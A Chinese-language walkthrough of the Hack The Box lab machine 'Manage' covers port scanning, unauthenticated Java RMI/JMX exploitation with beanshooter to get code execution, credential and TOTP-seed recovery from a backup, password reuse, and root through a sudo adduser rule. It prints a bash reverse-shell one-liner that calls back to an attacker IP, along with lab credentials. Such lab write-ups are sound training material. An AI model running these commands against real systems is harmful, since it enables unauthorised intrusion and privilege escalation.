深入解析HTB Manage渗透测试中的Java RMI与JMX漏洞利用

本文详细分析了HTB靶机Manage的渗透过程,涵盖端口扫描、Tomcat网站枚举、Java RMI和JMX未授权访问漏洞利用,通过beanshooter工具获取shell,并利用密码重用和sudo配置漏洞完成权限提升。

HTB: Manage渗透测试报告

初始扫描

使用nmap对目标进行端口扫描,发现开放端口:

1
2
3
4
5
6
7
oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.129.234.57
PORT      STATE SERVICE
22/tcp    open  ssh
2222/tcp  open  EtherNetIP-1
8080/tcp  open  http-proxy
33129/tcp open  unknown
41557/tcp open  unknown

详细版本扫描显示:

  • 端口22:OpenSSH 8.9p1 Ubuntu
  • 端口2222:Java RMI服务
  • 端口8080:Apache Tomcat 10.1.19
  • 端口41557:Java RMI服务

网站枚举 - TCP 8080

访问8080端口显示默认Tomcat页面。尝试访问Manager App返回403错误。

使用feroxbuster进行目录爆破:

1
oxdf@hacky$ feroxbuster -u http://10.129.234.57:8080

未发现有趣内容。

Java RMI - TCP 2222

remote-method-guesser枚举

使用remote-method-guesser工具枚举RMI实例:

1
oxdf@hacky$ java -jar rmg-5.1.0-jar-with-dependencies.jar enum 10.129.234.57 2222

发现jmxrmi绑定到端口41557。

JMX枚举

使用beanshooter工具枚举JMX服务:

1
oxdf@hacky$ java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum 10.129.234.57 2222

发现MBean服务器无需认证,枚举出198个MBean,并获取两个Tomcat用户凭据:

  • 用户:manager,密码:fhErvo2r9wuTEYiYgt
  • 用户:admin,密码:onyRPCkaG4iX72BrRtKgbszd

获取Tomcat Shell

交互式RCE

使用beanshooter部署StandardMBean:

1
oxdf@hacky$ java -jar beanshooter-4.1.0-jar-with-dependencies.jar standard 10.129.234.57 2222 tonka

获取交互式shell:

1
oxdf@hacky$ java -jar beanshooter-4.1.0-jar-with-dependencies.jar tonka shell 10.129.234.57 2222

反向Shell

通过Java Runtime.exec执行反向shell命令:

1
bash -c 'bash -i >& /dev/tcp/10.10.14.79/443 0>&1'

成功获取稳定shell。

用户权限提升

枚举发现

在/home目录发现两个用户:karl和useradmin。useradmin用户目录包含.google_authenticator文件和备份文件backup.tar.gz。

备份分析

解压备份文件发现包含SSH密钥和Google Authenticator种子:

1
CLSSSMHYGLENX5HAIFBQ6L35UM

密码重用

使用Tomcat用户admin的密码"onyRPCkaG4iX72BrRtKgbszd"成功切换到useradmin用户,配合Google Authenticator验证码完成认证。

Root权限提升

Sudo权限分析

useradmin用户可以无密码运行adduser命令:

1
2
User useradmin may run the following commands on manage:
    (ALL : ALL) NOPASSWD: /usr/sbin/adduser ^[a-zA-Z0-9]+$

利用策略

通过创建admin用户,系统会自动创建admin组。在Ubuntu默认配置中,admin组拥有完整的sudo权限。

创建admin用户

1
useradmin@manage:~$ sudo adduser admin

获取Root权限

切换到admin用户后,使用sudo获取root shell:

1
2
admin@manage:~$ sudo -i
root@manage:~#

成功读取root.txt标志文件。

总结

本渗透测试通过利用Java RMI和JMX的未授权访问漏洞,结合密码重用和sudo配置弱点,完成了从初始访问到完全控制的全过程。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计